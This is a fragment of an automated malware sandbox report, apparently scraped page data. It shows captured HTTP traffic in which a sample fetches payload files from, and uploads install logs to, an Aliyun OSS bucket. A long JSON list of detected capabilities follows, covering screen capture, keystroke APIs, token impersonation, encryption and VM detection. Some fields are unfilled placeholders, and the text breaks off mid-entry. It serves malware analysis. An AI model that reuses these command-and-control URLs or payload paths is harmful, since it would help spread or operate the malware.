/zh//upload?log=PathInit%3AC%3A%5CUsers%5CHAPUBWS%5CAppData%5CLocal%5CPrograms%5C_4199125610 HTTP/1.1 Accept: */* UA-CPU: AMD64 Accept-Encoding: gzip deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: tyjssss777.oss-cn-hongkong.aliyuncs.com Connection: Keep-Alive GET /zh/zh.bin HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 Host: tyjssss777.oss-cn-hongkong.aliyuncs.com GET /zh/1.1x1 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 Host: tyjssss777.oss-cn-hongkong.aliyuncs.com GET /zh/1.d00 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 Host: tyjssss777.oss-cn-hongkong.aliyuncs.com GET /zh//upload?log=AddTask%3AC%3A%5CUsers%5CHAPUBWS%5CAppData%5CLocal%5CPrograms%5C_4199125610%5CDefLaunch.exe HTTP/1.1 Accept: */* UA-CPU: AMD64 Accept-Encoding: gzip deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: tyjssss777.oss-cn-hongkong.aliyuncs.com Connection: Keep-Alive 4d:T6cf,Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "CreateDCW" (Indicator: "CreateDC"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "GetDIBits" (Indicator: "GetDIBits"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "GetDCOrgEx" (Indicator: "GetDC"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "GetDCDpiScaleValue" (Indicator: "GetDC"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "BitBlt" (Indicator: "BitBlt"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "NtUserCreateDCompositionHwndTarget" (Indicator: "CreateDC"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "NtUserBitBltSysBmp" (Indicator: "BitBlt"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "NtUserGetDCEx" (Indicator: "GetDC"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "NtUserGetDC" (Indicator: "GetDC"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "NtUserGetWindowDC" (Indicator: "GetWindowDC"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin")4e:T64d,Found registry query API: "RegOpenKeyExW" in file "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin" Found registry query API: "RegEnumKeyExW" in file "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin" Found registry query API: "RegQueryValueExW" in file "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin" Found registry query API: "RegNotifyChangeKeyValue" in file "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin" Found registry query API: "RegOpenKeyEx" in file "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin" Found registry query API: ".RegNotifyChangeKeyValue" in file "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin" Found registry query API: "RegEnumKeyEx" in file "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin" Found registry query API: "RegQueryValueEx" in file "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin" Found registry query API: "RegGetValueW" in file "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin" Found registry query API: "RegQueryInfoKeyW" in file "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin" Found registry query API: "RegEnumValueW" in file "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin" Found registry query API: "NtQueryValueKey" in file "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin" Found registry query API: "NtEnumerateKey" in file "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin"4f:T60a,Found reference to API "NtUserGetKeyNameText" (Indicator: "GetKeyNameText"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "NtUserMapVirtualKeyEx" (Indicator: "MapVirtualKey"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "NtUserGetKeyState" (Indicator: "GetKeyState"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "NtUserUnregisterHotKey" (Indicator: "UnregisterHotKey"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "NtUserGetKeyboardState" (Indicator: "GetKeyboardState"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "NtUserGetAsyncKeyState" (Indicator: "GetAsyncKeyState"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "NtUserVkKeyScanEx" (Indicator: "VkKeyScan"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "NtUserVkKeyScanEx" (Indicator: "VkKeyScanEx"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "NtUserAttachThreadInput" (Indicator: "AttachThreadInput"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "NtUserRegisterHotKey" (Indicator: "RegisterHotKey"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin")50:T898,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "0NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "&GetTokenInformation" (Indicator: "GetTokenInformation"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "LsaLookupSids" (Indicator: "LsaLookupSids"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "*LsaNtStatusToWinError>g____PInvoke|7_0" (Indicator: "LsaLookupSids"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API ",LsaGetLogonSessionData" (Indicator: "LsaGetLogonSessionData"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "&LsaFreeReturnBufferPg____PInvoke|0_0" (Indicator: "LsaGetLogonSessionData"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "LsaGetLogonSessionData" (Indicator: "LsaGetLogonSessionData"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "NtQuerySecurityObject" (Indicator: "NtQuerySecurityObject"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "NtQueryInformationToken" (Indicator: "NtQueryInformationToken"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "NtQueryInformationProcess" (Indicator: "NtQueryInformationProcess"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "NtUserGetProcessWindowStation" (Indicator: "GetProcessWindowStation"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin")51:Ta1b,"g____PInvoke|17_0" (Indicator: "QueryInformationFile"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "NtQueryInformationFile" (Indicator: "QueryInformationFile"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin")55:T5a9,Found reference to API "RevertToSelf" (Indicator: "RevertToSelf"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "ImpersonateLoggedOnUser" (Indicator: "ImpersonateLoggedOnUser"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "&GetTokenInformation" (Indicator: "GetTokenInformation"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "RevertToSelf.ImpersonateLoggedOnUser" (Indicator: "ImpersonateLoggedOnUser"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "RevertToSelf.ImpersonateLoggedOnUser" (Indicator: "RevertToSelf"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "RtlFreeSid" (Indicator: "FreeSid"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "RtlAllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin") Found reference to API "RtlAllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin")56:T4ae,Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: 7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin] Observed import api "ImpersonateLoggedOnUser" which can "let the calling thread impersonate the security context of a logged-on user" [Source: 7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin] Observed import api "RevertToSelf" which can "terminate the impersonation of a client application" [Source: 7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin] Observed import api "CheckTokenMembership" which can "determine whether a specified security identifier (SID) is enabled in an access token" [Source: fedfdPnp.dll] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: fedfdPnp.dll] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: fedfdPnp.dll] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: fedfdPnp.dll]57:Tdcf,"g____PInvoke|19_0\" (Indicator: \"EncryptMessage\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"EncryptMessage@\" (Indicator: \"EncryptMessage\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"EncryptMessage\" (Indicator: \"EncryptMessage\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-213","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"Bg____PInvoke|20_0\" (Indicator: \"DecryptMessage\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"DecryptMessage@\" (Indicator: \"DecryptMessage\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"DecryptMessage\" (Indicator: \"DecryptMessage\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains key cryptographic functions (API string)","description":"Found reference to API \"CryptGenKey\" (Indicator: \"CryptGenKey\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"CryptGetUserKey\" (Indicator: \"CryptGetUserKey\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"CryptImportKey\" (Indicator: \"CryptImportKey\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"CryptAcquireContextW\" (Indicator: \"CryptAcquireContextW\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"CryptDestroyKey\" (Indicator: \"CryptDestroyKey\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"CryptReleaseContext\" (Indicator: \"CryptReleaseContext\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-195","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"Invalid assembly public key.\" (Indicator: \"public key\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found string \"The server mode SSL must use a certificate with the associated private key.\" (Indicator: \"private key\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found string \"[Private Key]\" (Indicator: \"private key\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found string \"[Public Key]\" (Indicator: \"public key\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found string \"mode SSL must use a certificate with the associated private key.\" (Indicator: \"private key\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$30","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to decode base64 data\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: HTTP request contains Base64 encoded artifacts\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$31","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$32","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate disk drives (API string)","description":"Found reference to API \"GetLogicalDrives\" (Indicator: \"GetLogicalDrives\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1680","relevance":5,"id":"string-998","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"0NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"0NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00006600-00000C2B-3218053751\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00006600-00000C2B-3218229211\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Environment Awareness","name":"Able to list processes on remote desktop session host","description":"Found reference to API \"ProcessIdToSessionId\" (Indicator: \"ProcessIdToSessionId\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-906","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Environment Awareness","name":"Able to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"RtlFreeSid\" (Indicator: \"FreeSid\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"RtlAllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"*GetUserDefaultCulture.GetUserDefaultUICulture0GetUserDefaultLocaleName@\" (Indicator: \"GetUserDefaultLocaleName\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"GetUserDefaultLCID\" (Indicator: \"GetUserDefaultLCID\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatus\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatusEx\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"$33","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"GetSystemInfo\" in file \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\"\n Found system information discovery API: \"ExpandEnvironmentStringsW\" in file \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\"\n Found system information discovery API: \"\"*RtlNtStatusToDosError\" in file \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\", Found system information discovery API: \"0NtQuerySystemInformation\" in file \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\", Found system information discovery API: \"NtQuerySystemInformation\" in file \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\", Found system information discovery API: \"RtlNtStatusToDosError\" in file \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetTextCharsetInfo\" (Indicator: \"GetTextCharset\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"GetTextCharset\" (Indicator: \"GetTextCharset\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"GetSystemDefaultLangID\" (Indicator: \"GetSystemDefaultLangID\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"NtUserGetKeyboardLayoutList\" (Indicator: \"GetKeyboardLayoutList\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"NtUserGetKeyboardLayoutName\" (Indicator: \"GetKeyboardLayout\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"NtUserQuerySendMessage\" (Indicator: \"sendmessage\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"NtUserFindWindowEx\" (Indicator: \"findwindow\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"NtUserPostMessage\" (Indicator: \"postmessage\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"GetGetSystemTimeAsFileTimeFnPtr\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetDynamicTimeZoneInformation\" (Indicator: \"GetDynamicTimeZoneInformation\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \":GetDynamicTimeZoneInformation\" (Indicator: \"GetDynamicTimeZoneInformation\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")\n Found reference to API \",GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; File: \"7f6796ea93b50b4195bfa4fcf634516d3b4107e637f4deb1d4b7e1c36acc721b.bin\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"6a379f30713581cd4d0d8a42"}]},{"level":"informative","category":"Environment 